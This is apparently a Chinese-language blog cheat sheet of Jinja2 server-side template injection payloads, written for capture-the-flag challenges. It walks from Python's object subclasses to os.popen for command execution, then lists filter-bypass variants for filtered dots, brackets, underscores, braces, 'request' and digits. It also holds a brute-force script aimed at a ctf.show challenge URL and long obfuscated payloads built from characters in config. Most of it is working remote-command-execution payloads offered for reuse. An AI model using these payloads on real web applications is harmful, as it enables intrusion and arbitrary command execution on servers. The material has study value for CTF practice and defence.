SSTI常用Payload

Uncategorized
1.6k words

用来打Jinja2的一些常用Payload

基本流程

寻找基类

  • 寻找Object类

    解释:在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
    常用payload: {{().__class__.__mro__[-1]}}
    __class__这个获得到str类,mro获得基类列表,这里选的-1就是object这个类)

    __base__             类型对象的直接基类
    __bases__           类型对象的全部基类,以元组形式,类型的实例通常没有属性 bases
    (用这个base也行)

寻找子类

  • 由Object类找子类列表

    常用payload: {{().__class__.__mro__[1].__subclasses__()}}
    __subclasses__()     返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

寻找特定类

  • 由子类列表找特定类

    payload示例:{{"".__class__.__mro__[-1].__subclasses__()[132]}}
    <class 'os._wrap_close'>  经过探索发现,这个类有个popen方法可以执行系统命令,是第133个类,这里就用132来选中

实例化特定类

  • 由特定类实例化特定类对象

    payload示例: {{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}

寻找方法

  • 由类对象得到方法列表

    payload示例:{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}
    __globals__      使用方式是 function __globals__获取function所处空间下可使用的module、方法以及所有变量。

调用方法

  • 根据方法寻找flag

    payload示例:{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
    popen()一个方法,用于执行命令。
    read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象

常用恶意类

Python(Jinajia2)

具有 builtins 的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>
<class '_frozen_importlib_external.FileLoader'>
<class '_frozen_importlib_external._NamespacePath'>
<class '_frozen_importlib_external._NamespaceLoader'>
<class '_frozen_importlib_external.FileFinder'>
<class 'zipimport.zipimporter'>
<class 'zipimport._ZipImportResourceReader'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
<class 'codecs.StreamReaderWriter'>
<class 'codecs.StreamRecoder'>
<class 'os._wrap_close'>
<class 'os._AddedDllDirectory'>
<class '_sitebuiltins.Quitter'>
<class '_sitebuiltins._Printer'>
<class 'reprlib.Repr'>
<class 'types.DynamicClassAttribute'>
<class 'types._GeneratorWrapper'>
<class 'functools.partialmethod'>
<class 'functools.singledispatchmethod'>
<class 'functools.cached_property'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class 'contextlib._GeneratorContextManagerBase'>
<class 'contextlib._BaseExitStack'>
<class 'sre_parse.State'>
<class 'sre_parse.SubPattern'>
<class 'sre_parse.Tokenizer'>
<class 're.Scanner'>
<class 'tokenize.Untokenizer'>
<class 'traceback.FrameSummary'>
<class 'traceback.TracebackException'>

文件读取类

1
2
3
<class 'file'>
<class '_frozen_importlib_external.FileLoader'>
<class 'site._Printer'>

具有import的类

1
2
3
4
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>

常用Payload

Python(Jinja2)

__globals__的使用

  • 原始版本:

    {{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
    {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
    {{i.__init__.__globals__['popen']('ls').read()}}
    (这里的url_for可以换成lsbuim/get_flashed_message这样已经实例化出来的函数对象)
    (也可以直接通过子类爆破的方法,找到相关函数类,实例化出函数对象)
    (这里的i是os的实例化对象,具体一点的话,是os_wrap_close类)

常用绕过技巧

  • 点号被过滤

    {{url_for['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()"}}
    (这个形式和[__global__的原始使用] 第一条是对应的)

  • 括号内容被过滤(比如双引号)

    ?name={{url_for[request.args.x1][request.args.x2][request.args.x3](request.args.x4)}}&x1=__globals__&x2=__builtins__&x3=eval&x4=__import__('os').popen('cat /flag').read()
    ?name={{url_for[request.cookie.x1][request.cookie.x2][request.cookie.x3](request.cookie.x4)}} #args也被过滤了用

  • 中括号被过滤

    ?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
    离谱了,查了一查,url_for的命名空间里面本来就有os,搞不懂前面还要这么麻烦

  • 下划线被过滤

    ?name={{(lipsum|attr(request.cookies.x1)).os.popen('cat /flag')}}
    ?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
    x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
    attr是Jinja2内置的一个过滤器,它可以获取一个对象的属性或方法 {{lipsum|attr(‘upper’)}}会调用lipsum.upper()方法
    attr和getitem的区别
    - attr是用来访问属性的,getitem是用来访问元素的,后者是包含关系,前者是矛盾载体和矛盾的关系

  • 双大括号被过滤

    payload: ?name={%print(((lipsum|attr(request.cookies.x1)|attr(request.cookies.x2))(request.cookies.x3)|attr(request.cookies.x4)(request.cookies.x5)).read())%}
    x1=__globals__;x2=__getitem__;x3=os;x4=popen;x5=cat /flag

  • request被过滤

    基本原理: 利用config来构造字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
break
print(result[:len(result)-1])

// ~代表着字符串连接

得到通用payload如下:

1
2
3
?name={%print(((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(5).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(157).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()))((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower())|attr((config|string|list).pop(17).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(17).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(3).lower())((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower())).read())%}

//得到的payload如上,以后这种题就当填空题来写,不然太烦人了
  • 数字被过滤

    半角数字绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    //半角全角转换脚本
    def half2full(half):
    full = ''
    for ch in half:
    if ord(ch) in range(33, 127):
    ch = chr(ord(ch) + 0xfee0)
    elif ord(ch) == 32:
    ch = chr(0x3000)
    else:
    pass
    full += ch
    return full
    t=''
    s="0123456789"
    for i in s:
    t+='\''+half2full(i)+'\','
    print(t)

payload如下

1
?name={%print(((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(5).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(157).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()))((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower())|attr((config|string|list).pop(17).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(17).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(3).lower())((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower())).read())%}